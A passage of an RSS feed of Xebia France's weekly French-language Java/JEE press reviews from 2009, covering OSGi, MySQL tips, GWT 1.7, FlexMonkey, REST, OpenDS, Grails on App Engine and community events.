href="http://java.dzone.com/" title="JavaLobby" >JavaLobby</a> qui nous propose depuis quelques jours 2 tutoriaux HelloWorld sur OSGi, le premier avec <a
href="http://java.dzone.com/articles/plugable-swing-%E2%80%93-hello-world" title="Swing" >Swing</a> et le second avec <a
href="http://java.dzone.com/articles/plugable-spring-rc-osgi-spring" title="Spring RC" >Spring RC</a>.<br
/> Et pour les plus nostalgiques, le Paris JUG sur OSGi, <a
href="http://www.parisjug.org/xwiki/bin/view/Meeting/20081014" title="c'était (déjà) il y a 1 an" >c&#8217;était (déjà) il y a 1 an</a>&#8230;</p><h4><a
name="ScalaOSGifi"></a>Scala OSGi-fié</h4><p>On reste dans les news OSGi avec un projet qui propose Scala 2.7.6 en version OSGi-fiée (vu <a
href="http://heikoseeberger.blogspot.com/2009/09/osgi-fied-scala-libraries-updated-to.html" title="ici" >ici</a>).</p><p>Comme expliqué sur le GitHub du projet, <a
href="http://www.scala-lang.org/" title="Scala" >Scala</a> n&#8217;est pas (encore) packagé en bundle OSGi. Certes, le plugin Eclipse <a
href="http://www.scala-lang.org/node/94" title="Scala IDE" >Scala IDE</a> utilise un bundle OSGi qui embarque Scala mais celui-ci ne peut pas être utilisé de manière générale (manifest spécifique et toutes les librairies dans un seul jar).</p><p><a
href="http://github.com/hseeberger/scala-lang-osgi" title="scala-lang-osgi" >scala-lang-osgi</a> répond à ce besoin et fournit un bundle OSGi pour chaque librairie Scala. Le tout est disponible sur le repository maven <a
href="http://scala-tools.org/repo-releases/org/scala-lang-osgi/" title="scalatoolsorg" >scala-tools.org</a>.</p><h4><a
name="AstucesdeperformancepourMySQL"></a>Astuces de performance pour MySQL</h4><p>Même si nos ORMs préférés génèrent des requêtes optimisées à notre place, il arrive parfois que, pour des raisons de performances ou autres, l&#8217;on doive écrire certaines requêtes directement en SQL.<br
/> Le site <a
href="http://www.debianadmin.com/" title="Debian Admin" >Debian Admin</a> (par <a
href="http://www.code-purity.com/top_87_mysql_performance_tips/|http://www.debianadmin.com/top-84-mysql-performance-tips." title="Code Purity" >Code Purity</a>) référence à cette fin <a
href="http://www.debianadmin.com/top-84-mysql-performance-tips.html" title="84 astuces doptimisations de performances pour MySQL" >84 astuces d&#8217;optimisations de performances pour MySQL</a>.<br
/> Certes, la plupart des astuces de configuration de MySQL sont peut-être/certainement déjà mises en place par nos chers DBA. Mais on trouvera aussi une pléiade d&#8217;astuces concernant la requête elle-même : cela passe de la non utilisation du gourmand <code>SELECT *</code>, d&#8217;éviter au possible l&#8217;utilisation de <code>DISTINCT</code> (très consommateur), d&#8217;utiliser pour l&#8217;insertion des <code>BATCH INSERT</code> et <code>REPLACE</code> ou bien encore l&#8217;utilisation <code>INET_ATON</code> et <code>INET_NTOA</code> au lieu de <code>CHAR</code> et <code>VARCHAR</code> pour les adresses IP.<br
/> Pour le détail complet, rendez-vous directement sur le <a
href="http://www.debianadmin.com/top-84-mysql-performance-tips.html" title="site de Debian Admin" >site de Debian Admin</a>.</p><h4><a
name="Enqutesurlestempsderedmarraged"></a>Enquête sur les temps de redémarrage des serveurs JEE</h4><p>ZeroTurnAround, l&#8217;éditeur de JRebel, a mené (et continue même à collecter des données) <a
href="http://www.zeroturnaround.com/blog/java-ee-container-heaven-hell-survey-results/" title="une tude sur les temps de redmarrage  redploiement des serveurs dapplications" >une étude sur les temps de redémarrage / redéploiement des serveurs d&#8217;applications</a> auprès des lecteurs de son blog (environ 700 personnes ont répondu).<br
/> Tout d&#8217;abord, passons sur la conclusion évidente de l&#8217;étude, <em>vous avez besoin de JRebel</em>, pour tenter de voir au delà de cette évidence marketing. On évitera aussi la polémique sur le rapprochement Conteneurs de Servlets / Serveurs d&#8217;applications.<br
/> On constate tout d&#8217;abord que la population fréquentant le blog de ZeroTurnAround (on a donc dès le début une information en partie biaisée) a une forte tendance à confier ses applications à une plate-forme basée sur Tomcat (JBoss + Tomcat), plutôt qu&#8217;aux historiques IBM et <strike>BEA</strike> Oracle. Là encore, étant donné la notoriété naissante de JRebel, au sein d&#8217;une communauté plutôt tournée vers l&#8217;open source, rien d&#8217;étonnant.</p><p>En revanche, il est intéressant de constater que les temps de redéploiement deviennent assez rapidement délirants, avec des serveurs qui en moyenne mettent entre 2 et 5 minutes à redémarrer, la palme de la lenteur revenant, on le savait déjà par expérience, aux <em>gros serveurs monolithiques commerciaux</em>. Alors, au-delà du constat qu&#8217;un développeur passe aujourd&#8217;hui une grande partie de son temps à attendre que son application se mette à jour sur son serveur d&#8217;applications, au-delà du fait que JRebel est une des manières d&#8217;adresser ce problème, nous nous posons la question suivante : est-il normal, pour un serveur d&#8217;applications, de mettre cinq minutes à redémarrer ?</p><p>L&#8217;actualité de cette revue de presse met en avant OSGI, qui sera certainement une des réponses apportées à cette explosion des temps de démarrage. Ce sont d&#8217;ailleurs les absents de cette étude qui porteront la première estocade : GlassFish 3.x et dmServer.</p><h4><a
name="Premierspasavecmemcached"></a>Premiers pas avec memcached</h4><p>Dans le but de proposer une implémentation d&#8217;un système de cache pour Grails, <a
href="http://www.ibm.com/developerworks/java/library/j-memcached1/?S_TACT=105AGX01&#038;S_CMP=HP&#038;ca=drs-" title="James Goodwill, sur DeveloperWorks" >James Goodwill, sur DeveloperWorks</a>, propose, dans un premier temps, une découverte du système de cache distribué <a
href="http://www.danga.com/memcached/" title="memcached" >memcached</a>.<br
/> Une mise en bouche qui permet de découvrir les bases de ce produit, avant de combiner ce cache avec Grails dans une seconde partie, qui, on l&#8217;espère, permettra d&#8217;optimiser les performances du plus célèbre des frameworks haute productivité.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="SoireTontonsFlexeursleSeptembr"></a>Soirée Tontons Flexeurs le 24 Septembre</h4><p>Suite des <a
href="http://groups.adobe.com/groups/193bcaff5f/summary" title="Tontons Flexeurs" >Tontons Flexeurs</a>, après la très bonne soirée <a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#SoireTontonsFlexeurs" title="Flex et Java en entreprise" >Flex et Java en entreprise</a>, avec une <a
href="http://groups.adobe.com/posts/8cb9375182" title="nouvelle session" >nouvelle session</a> ce jeudi 24 septembre. 2 invités de marque : <a
href="http://www.mikechambers.com/blog/" title="Mike Chambers" >Mike Chambers</a> et <a
href="http://theflashblog.com/" title="Lee Brimelow" >Lee Brimelow</a> qui nous feront une présentation d&#8217;Adobe AIR (techniques avancées de synchronisation de données, de manipulation de fichiers, possibilités d&#8217;intégration à la plateforme hôte&#8230;) et des nouvelles fonctionnalités des prochaines versions de AIR.</p><p>A l&#8217;heure où nous écrivons ces lignes, il reste encore quelques places disponibles donc rendez-vous sur le <a
href="http://chambers-et-brimelow-ttfx-2009.eventbrite.com/" title="formulaire dinscription de lvnement" >formulaire d&#8217;inscription de l&#8217;évènement</a>.</p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/09/21/revue-de-presse-xebia-127/feed/</wfw:commentRss> <slash:comments>4</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/</link> <comments>http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#comments</comments> <pubDate>Mon, 20 Jul 2009 16:20:01 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[CEP]]></category> <category><![CDATA[Cloud Computing]]></category> <category><![CDATA[Complex Event Processing]]></category> <category><![CDATA[EDA]]></category> <category><![CDATA[Flex]]></category> <category><![CDATA[Flex Monkey]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[JavaRebel]]></category> <category><![CDATA[OpenDS]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[RIA]]></category> <category><![CDATA[SOA]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2567</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Les standards du Cloud Computing en préparation Fin de JavaRebel, place à &#8230; RIA GWT 1.7 pour les nouveaux navigateurs ! Flex Monkey 1.0 SOA La base de données dans une Event Driven Architecture REST et les abus de langage [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#LesstandardsduCloudComputingen">Les standards du Cloud Computing en préparation</a></li><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#FindeJavaRebelplace">Fin de JavaRebel, place à &#8230;</a></li></ul><p><strong>RIA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#GWTpourlesnouveauxnavigateurs">GWT 1.7 pour les nouveaux navigateurs !</a></li><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#FlexMonkey">Flex Monkey 1.0</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#LabasededonnesdansuneEventDriv">La base de données dans une <em>Event Driven Architecture</em></a></li><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#RESTetlesabusdelangage">REST et les abus de langage</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#OpenDSpasseenversion">OpenDS passe en version 2.0</a></li><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#bonnesraisonsdechercherlesucce">10 bonnes raisons de chercher le successeur de Java</a></li></ul><p><strong>Evènements de notre communauté en France et à l&#8217;étranger</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/#SoireTontonsFlexeurs">Soirée Tontons Flexeurs</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="LesstandardsduCloudComputingen"></a>Les standards du Cloud Computing en préparation</h4><p>Comme pour tout marché émergeant, le Cloud Computing s&#8217;est développé autour de technologies propriétaires mises au point par différents éditeurs et fournisseurs. Une <a
href="http://blog.xebia.fr/2009/06/15/revue-de-presse-xebia-113/#RetoursurleCloudCamp" title="session ddie aux problmatiques dintgration" >session dédiée aux problématiques d&#8217;intégration</a> lors du CloudCamp Paris avait conclu qu&#8217;aucun standard adapté n&#8217;était disponible pour permettre le transfert d&#8217;informations entre les différents fournisseurs et technologies du Cloud Computing.</p><p>Le monde du Cloud Computing montant en puissance mois après mois, la problématique de standardisation se fait de plus en plus pressante. C&#8217;est donc sans surprise qu&#8217;on a assisté à la constitution d&#8217;organismes de standardisation et de groupes de travail afin d&#8217;établir les standards à venir. Afin de donner une visibilité à l&#8217;ensemble de ces efforts, l&#8217;Open Grid Forum (OGF) annonce la création d&#8217;un site commun ou chaque organisme est invité à présenter ses travaux en cours : <a
href="http://cloud-standards.org" title="cloud-standards.org" >http://cloud-standards.org</a>. On notera particulièrement deux spécifications prometteuses :</p><ul><li><a
href="http://www.dmtf.org/" title="Open Virtualization Format (OVF)" >Open Virtualization Format (OVF)</a> : Format de <em>packaging</em> d&#8217;application permettant la distribution et le déploiement simplifié sur environnement virtualisé.</li><li><a
href="http://www.occi-wg.org/" title="Open Cloud Computing Interface (OCCI)" >Open Cloud Computing Interface (OCCI)</a> : API standardisée permettant la définition, le <em>provisioning</em> et le <em>monitoring</em> d&#8217;infrastructures exposées en tant que services sur un Cloud (IaaS).</li></ul><p>Par ailleurs, l&#8217;<a
href="http://www.opencloudconsortium.org/" title="Open Cloud Consortium (OCC)" >Open Cloud Consortium (OCC)</a> explique travailler sur des <em>frameworks</em> d&#8217;interopérabilité entre Clouds et l&#8217;<a
href="http://www.oasis-open.org" title="OASIS" >OASIS</a> expose quant à elle sa vision selon laquelle le Cloud Computing est une extension naturelle des concepts SOA, et que, par conséquent, de nombreux standards qu&#8217;elle développe actuellement intègrent cette problématique.</p><h4><a
name="FindeJavaRebelplace"></a>Fin de JavaRebel, place à &#8230;</h4><p>Zeroturnaround, l&#8217;éditeur de <a
href="http://blog.xebia.fr/2008/11/14/javarebel/" title="JavaRebel" >JavaRebel</a>, doit faire face à un joli défi : pour avoir fait une entorse à la marque déposée Java, il doit modifier le nom de son produit, sans pour autant perdre la notoriété d&#8217;ores et déjà acquise. Pour faire d&#8217;une pierre deux coups (modifier effectivement ce nom mais aussi s&#8217;offrir un joli coup de pub), l&#8217;éditeur soumet ce renommage <a
href="http://www.zeroturnaround.com/blog/renaming-javarebel/" title=" un concours" >à un concours</a>. En jeu, une licence <strike>JavaRebel</strike> à vie&#8230;</p><h3><a
name="RIA"></a>RIA</h3><h4><a
name="GWTpourlesnouveauxnavigateurs"></a>GWT 1.7 pour les nouveaux navigateurs !</h4><p>Les dernières <em>releases</em> de GWT étaient plutôt espacées dans le temps (1 an entre 1.4/1.5 et 8 mois entre 1.5/1.6) mais il n&#8217;aura fallu attendre que 3 mois pour voir débarquer la version <strike>1.6.5</strike> <a
href="http://groups.google.com/group/Google-Web-Toolkit-Contributors/browse_thread/thread/a0d35938d940d32d?pli=1" title="17 de GWT" >1.7 de GWT</a>.</p><p>Cette dernière version (définie comme mise à jour mineure / <em>bugfix release</em>) apporte un meilleur support des derniers navigateurs à savoir Internet Explorer 8, FireFox 3.5 et Safari 4 (meilleur support d&#8217;IE8 = <a
href="http://ajaxian.com/archives/the-slow-death-of-ie-6-support-youtube-and-browser-placement" title="disparition dIE6" >disparition d&#8217;IE6</a> ? <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> ).</p><p>L&#8217;ajout du <code>user.agent ie8</code>, qui peut potentiellement impacter certains projets, a fait pencher la balance vers un numéro de version de type majeure (1.7) pour forcer les développeurs à être attentif sur ce point important (une version de type 1.6.5 n&#8217;aurait pas eu le même impact).</p><p>Une simple recompilation suffit pour être compatible avec ces navigateurs, aucune modification de code n&#8217;est requise. Disponible comme toujours dans la section <a
href="http://code.google.com/p/google-web-toolkit/downloads/list?can=1&#038;q=GWT+1.7.0" title="tlchargement" >téléchargement</a> du Google Code.</p><h4><a
name="FlexMonkey"></a>Flex Monkey 1.0</h4><p>Plus de 7 mois après la sortie de la version 0.5 (<a
href="http://blog.xebia.fr/2008/12/01/revue-de-presse-xebia-85/#FlexMonkey" title="précédente revue de presse" >précédente revue de presse</a>), <a
href="http://flexmonkey.gorillalogic.com/gl/stuff.flexmonkey.html" title="FlexMonkey" >FlexMonkey</a>, le framework de tests automatisés pour applications Flex et Air, se met à jour et passe ainsi en version 1.0 (par <a
href="http://www.infoq.com/news/2009/07/flex-monkey-1.0-released" title="InfoQ" >InfoQ</a>).</p><p>Au menu : réorganisation de l&#8217;interface utilisateur, support direct d&#8217;applications Air (la console FlexMonkey devenant d&#8217;ailleurs une application Air) et tests générés pour Fluint (qui pourront aussi être lancés par FlexUnit 4).</p><p>Plusieurs tutoriels/exemples sont déjà disponibles sur la toile, on retiendra plus particulièrement le <a
href="http://www.adobe.com/devnet/flex/articles/flexmonkey.html" title="Getting Started" >Getting Started</a> d&#8217;Eric Owens <em>(Gorilla Logic)</em> et l&#8217;article très complet de Stuart Stern (CEO de <em>Gorilla Logic</em> et <a
href="http://stu-stern.blogspot.com/2009/07/monkey-has-landed.html" title="créateur de FlexMonkey" >créateur de FlexMonkey</a>) sur <a
href="http://www.infoq.com/articles/flexmonkey-ui-unit-testing" title="InfoQ" >InfoQ</a>.</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="LabasededonnesdansuneEventDriv"></a>La base de données dans une <em>Event Driven Architecture</em></h4><p>Sur son blog dédié aux traitements des évènements dans les systèmes d&#8217;informations, Tibco <a
href="http://tibcoblogs.com/cep/2009/07/14/exploiting-databases-in-an-event-based-infrastructure-just-got-easier/" title="a publi un billet" >a publié un billet</a> portant sur le positionnement d&#8217;une base de données dans une <em>Event Driven Architecture</em> (EDA).</p><p>Se trouvant à la base de nombreuses applications et services, elle constitue en effet une potentielle source d&#8217;évènements très intéressante. L&#8217;auteur met alors en avant la technologie <a
href="http://download.oracle.com/docs/cd/B28359_01/appdev.111/b28424/adfns_cqn.htm" title="Continuous Query Notification (CQN)" ><em>Continuous Query Notification</em> (CQN)</a> intégrée à Oracle 11g, et qui permet aux clients d&#8217;une base de données de s&#8217;enregistrer pour recevoir des notifications lorsque les données d&#8217;une table ou le résultat d&#8217;une requête prédéfinie changent. On peut assimiler cette technologie à un mécanisme de <em>trigger</em> qui rappellerait des systèmes externes.</p><p>Cette possibilité permet ainsi d&#8217;enrichir les sources d&#8217;évènements disponibles au sein du système d&#8217;information : de par son positionnement, la base de données est capable d&#8217;offrir simplement des évènements qui seraient parfois complexes à générer au niveau applicatif. Dans une telle configuration, le <a
href="http://en.wikipedia.org/wiki/Complex_Event_Processing" title="Complex Event Processing (CEP)" ><em>Complex Event Processing</em> (CEP)</a> permettra alors de manipuler le volume important d&#8217;évènements ainsi créés afin d&#8217;en extraire des informations métiers utiles.</p><h4><a
name="RESTetlesabusdelangage"></a>REST et les abus de langage</h4><p>Ryan McDonough, contributeur au projet <a
href="http://www.jboss.org/resteasy/" title="RESTEasy" >RESTEasy</a>, <a
href="http://www.damnhandy.com/2009/07/19/you-cant-do-anything-over-rest/" title="a publi un billet" >a publié un billet</a> dans lequel il fait un parallèle entre les abus de langages liés à REST et les mauvaises pratiques qui en découlent.</p><p>Parmi les erreurs de compréhension qu&#8217;il met en avant, on retrouve l&#8217;assimilation de REST à un protocole, la définition de REST en tant que synonyme de HTTP, ou encore l&#8217;utilisation abusive du qualificatif RESTful.</p><p>Il est souvent question lorsque l&#8217;on parle de REST de définition d&#8217;URLs, de représentations multiples d&#8217;une ressource, ou, plus couramment encore, d&#8217;opposition à SOAP. Loin de ces problématiques, Ryan McDonough met ici en avant le fait que REST est dans la réalité trop souvent utilisé pour justifier à tort tout type d&#8217;utilisation douteuse de JSON ou XML sur HTTP&#8230;</p><p>A ce titre, le <a
href="http://oreilly.com/catalog/9780596529260/" title="livre RESTful WebServices" >livre RESTful WebServices</a> de Leonard Richardson et Sam Ruby permet de comprendre en détail toutes les nuances de ce modèle d&#8217;architecture qui sont parfois délicates à appréhender.</p><h3><a
name="Lecoindelatechnique"></a>Le coin de la technique</h3><h4><a
name="OpenDSpasseenversion"></a>OpenDS passe en version 2.0</h4><p>La version 2.0 du projet <a
href="http://www.opends.org/" title="OpenDS" >OpenDS</a> est disponible. Il s&#8217;agit d&#8217;un serveur LDAP implémenté entièrement en Java et soutenu par Sun ; ces caractéristiques le positionne donc directement face à <a
href="http://directory.apache.org/" title="Apache Directory Server" >Apache Directory Server</a>, son équivalent développé par la fondation Apache.</p><p>Ludovic Poitou <a
href="http://blogs.sun.com/Ludo/entry/opends_2_0_is_here" title="prsente les principales nouveauts" >présente les principales nouveautés</a> de cette version :</p><ul><li>Ajout d&#8217;un <em>control panel</em> graphique, en remplacement du <em>status-panel</em> de la version précédente, permettant d&#8217;administrer le serveur et ses données</li><li>Amélioration de la réplication <em>multi-master</em><li>Support de connections sécurisées SASL</li><li>Affinement du système de contrôle d&#8217;accès</li><li>Amélioration des performances. On notera sur ce point la collaboration avec l&#8217;équipe du <em>garbage collector</em> G1 qui avait <a
href="http://blogs.sun.com/mattswift/entry/garbage_first_the_g1_garbage" title="t expose il y a 2 mois" >été exposée il y a 2 mois</a></li></ul><p>Au delà de l&#8217;ajout de fonctionnalités, la question du positionnement reste entière pour OpenDS tout comme pour son rival ApacheDS. En effet, l&#8217;annuaire est en général une ressource critique du système d&#8217;information pour laquelle on préfèrera généralement une implémentation native plus mature. Dès lors, OpenDS se destinera principalement au poste de développement, aux tests, et aux applications embarquant directement leur propre annuaire comme mécanisme de persistance.</p><h4><a
name="bonnesraisonsdechercherlesucce"></a>10 bonnes raisons de chercher le successeur de Java</h4><p>Dans la droite ligne d&#8217;un certain nombre de keynotes récentes, <a
href="http://www.theserverside.com/news/thread.tss?thread_id=55185" title="Mario Fusco expose sur TheServerSide" >Mario Fusco expose, sur TheServerSide</a>, 10 bonnes raisons de chercher un héritier à Java. Ces &#8216;manques&#8217; de Java sont souvent évoqués, parfois partiellement comblés par les futures spécifications. Il nous a semblé malgré tout intéressant de les reprendre ici, ne serait ce pour que ces limitation soient bien comprises de tous.</p><ul><li>Absence de Closures, et son corollaire, l&#8217;absence de pointeur sur les fonctions (<a
href="http://www.joelonsoftware.com/items/2006/08/01.html" title="firstclass function" ><em>first-class function</em></a>).</li><li>L&#8217;existence de types primitifs (le langage n&#8217;est pas 100 % objet), et un autoboxing pas toujours performant (sur la gestion des null par exemple).</li><li>La faiblesse des Génériques : impossible de découvrir leur type au Runtime.</li><li>L&#8217;impossibilité de supprimer certains warnings concernant les génériques.</li><li>Impossible de passer un paramètre <em>void</em> à une méthode.</li><li>Le pattern <em>proxy</em> n&#8217;est pas implémenté de manière native sur les classes concrètes.</li><li>Le switch&#8230;case est très faible</li><li>La présence des exceptions <em>Checked</em> qui obligent à de douloureux <code>try...catch</code> ou à d&#8217;illisibles <code>throws</code></li></ul><p>Mario Fusco a l&#8217;honnêteté de reconnaitre que nombre de ces défauts font partie des péchés originels de Java et qu&#8217;il est quasiment impossible de les remettre en cause sans gravement compromettre la compatibilité ascendante du language, qui en est une des pierres angulaires. C&#8217;est pour cette raison qu&#8217;il se met en quête du <em>next gen language</em></p><p>Vous ne manquerez pas de remarquer que, comme tout article qui parle de succéder à Java, ce billet est richement (parfois de manière assez virulente) commenté.</p><h3><a
name="EvnementsdenotrecommunautenFra"></a>Evènements de notre communauté en France et à l&#8217;étranger</h3><h4><a
name="SoireTontonsFlexeurs"></a>Soirée Tontons Flexeurs</h4><p>Demain (mardi 21 Juillet) de 18h à 20h se déroulera une nouvelle soirée des <a
href="http://groups.adobe.com/groups/193bcaff5f/summary" title="Tontons Flexeurs" >Tontons Flexeurs</a> dont le sujet est un retour d&#8217;expériences sur la mise en place d&#8217;applications Flex en entreprise dans le monde Java (tests unitaires/fonctionnels, intégration continue&#8230;).<br
/> L&#8217;événement étant déjà <a
href="http://reunion-ttfx-juillet-2009.eventbrite.com/" title="complet" >complet</a>, il ne vous reste plus qu&#8217;à bookmarker leur <a
href="http://groups.adobe.com/resources/8a214877ac/summary" title="calendrier" >calendrier</a> pour être informé des prochaines réunions <img
src='http://blog.xebia.fr/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /></p> ]]></content:encoded> <wfw:commentRss>http://blog.xebia.fr/2009/07/20/revue-de-presse-xebia-118/feed/</wfw:commentRss> <slash:comments>6</slash:comments> </item> <item><title>Revue de Presse Xebia</title><link>http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/</link> <comments>http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#comments</comments> <pubDate>Mon, 18 May 2009 16:48:34 +0000</pubDate> <dc:creator>Xebia France</dc:creator> <category><![CDATA[Revue de presse]]></category> <category><![CDATA[Google App Engine]]></category> <category><![CDATA[Grails]]></category> <category><![CDATA[GWT]]></category> <category><![CDATA[Hudson]]></category> <category><![CDATA[J2EE]]></category> <category><![CDATA[Java / JEE]]></category> <category><![CDATA[Méthodes agiles]]></category> <category><![CDATA[Performances]]></category> <category><![CDATA[REST]]></category> <category><![CDATA[SCRUM]]></category> <category><![CDATA[Selenium Grid]]></category> <category><![CDATA[SOA]]></category> <category><![CDATA[Spring]]></category> <guid
isPermaLink="false">http://blog.xebia.fr/?p=2008</guid> <description><![CDATA[La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia. Actualité éditeurs / SSII Grails 1.1.1 supporté par Google App Engine Agilité SCRUM en vidéo en 5 minutes SOA REST : Le bon et surtout le moins bon &#8230; Le coin de la technique Utiliser Selenium Grid avec Hudson Une API Criteria pour JCR [...]]]></description> <content:encoded><![CDATA[<p><img
src="http://blog.xebia.fr/wp-content/uploads/2007/06/revuedepresse.png" alt="Revue de Presse Xebia" style="margin: 1em 1em 1em 1em; float: right;" /><br
/> <em>La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.</em></p><p><strong>Actualité éditeurs / SSII</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#GrailssupportparGoogleAppEngin">Grails 1.1.1 supporté par Google App Engine</a></li></ul><p><strong>Agilité</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#SCRUMenvidoenminutes">SCRUM en vidéo en 5 minutes</a></li></ul><p><strong>SOA</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#RESTLebonetsurtoutlemoinsbon">REST : Le bon et surtout le moins bon &#8230;</a></li></ul><p><strong>Le coin de la technique</strong></p><ul><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#UtiliserSeleniumGridavecHudson">Utiliser Selenium Grid avec Hudson</a></li><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#UneAPICriteriapourJCR">Une API Criteria pour JCR</a></li><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#IntgrationsimpledeGWTetSpring">Intégration simple de GWT et Spring</a></li><li><a
href="http://blog.xebia.fr/2009/05/18/revue-de-presse-xebia-109/#bonnespratiquespouramliorersca">8 bonnes pratiques pour améliorer scalabilité et performances</a></li></ul><h3><a
name="ActualitditeursSSII"></a>Actualité éditeurs / SSII</h3><h4><a
name="GrailssupportparGoogleAppEngin"></a>Grails 1.1.1 supporté par Google App Engine</h4><p>Dans une précédente <a
href="http://blog.xebia.fr/2009/04/14/revue-de-presse-xebia-104/#GoogleAppEnginepourJavaetGroov" title="nouvelle" >nouvelle</a>, nous avions annoncé la sortie de <a
href="http://appengine.google.com/" title="Google App Engine" >Google App Engine</a> pour Java et Groovy. Après Struts2, Spring MVC, le support de nombreux frameworks web continue.<br
/> Le framework web Grails, basé sur le langage Groovy et développé par l&#8217;équipe de Spring est maintenant supporté par App Engine. Des ajustements ont été apportés pour le rendre compatible, d&#8217;où la sortie de cette <a
href="http://blog.springsource.com/2009/05/14/grails-111-released-with-google-appengine-support/" title="version 1.1.1." >version 1.1.1.</a>. Celle ci apporte aussi des corrections de bugs, dont la liste est disponible <a
href="http://jira.codehaus.org/browse/GRAILS?report=com.atlassian.jira.plugin.system.project:changelog-panel" title="ici" >ici</a>.<br
/> Par ailleurs, <a
href="http://grails.org/plugin/app-engine" title="un plugin" >un plugin</a> a été développé pour faciliter l&#8217;intégration de Grails avec le SDK de App Engine, notamment au niveau du déploiement du serveur web.</p><p>L&#8217;objectif fixé par SpringSource est que Grails devienne le framework web le plus utilisé avec Google App Engine, d&#8217;où les nombreux efforts fournis. Les prochains axes de travail porteront sur l&#8217;abstraction de JPA/JDO pour faciliter l&#8217;utilisation du data store (base de données) d&#8217;App Engine.</p><h3><a
name="Agilit"></a>Agilité</h3><h4><a
name="SCRUMenvidoenminutes"></a>SCRUM en vidéo en 5 minutes</h4><p>Tout simplement géniale, cette vidéo fait le tour de la blogosphère SCRUM / Agile : Le retour de 6 mois d&#8217;expérience d&#8217;une équipe SCRUM.</p><div
align="center"> <object
width="400" height="220"><param
name="allowfullscreen" value="true" /><param
name="allowscriptaccess" value="always" /><param
name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=4587652&#038;server=vimeo.com&#038;show_title=1&#038;show_byline=1&#038;show_portrait=0&#038;color=&#038;fullscreen=1" /><embed
src="http://vimeo.com/moogaloop.swf?clip_id=4587652&#038;server=vimeo.com&#038;show_title=1&#038;show_byline=1&#038;show_portrait=0&#038;color=&#038;fullscreen=1"  type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="220"></embed></object></div><p>Tout y est :</p><ul><li>L&#8217;équipe.</li><li>Les cérémonies.</li><li>Les artefacts.</li><li>Le fun.</li></ul><p>La réalisation très soignée et la BO ne gâchent rien.</p><p>A regarder !</p><h3><a
name="SOA"></a>SOA</h3><h4><a
name="RESTLebonetsurtoutlemoinsbon"></a>REST : Le bon et surtout le moins bon &#8230;</h4><p>Dans l&#8217;article <em>&laquo;&nbsp;<a
href="http://soa.dzone.com/news/rest---good-bad-and-ugly" title="REST - The Good, The Bad and The Ugly" >REST &#8211; The Good, The Bad and The Ugly</a>&laquo;&nbsp;</em>, publié sur DZone, <a
href="http://soa.dzone.com/users/arnonrgo" title="Arnon RotemGalOz" >Arnon Rotem-Gal-Oz</a> propose un éclairage intéressant de ce qu&#8217;il y a de bon et surtout de ce qu&#8217;il peut y avoir de moins bon lors de la mise en place d&#8217;une architecture REST.<br
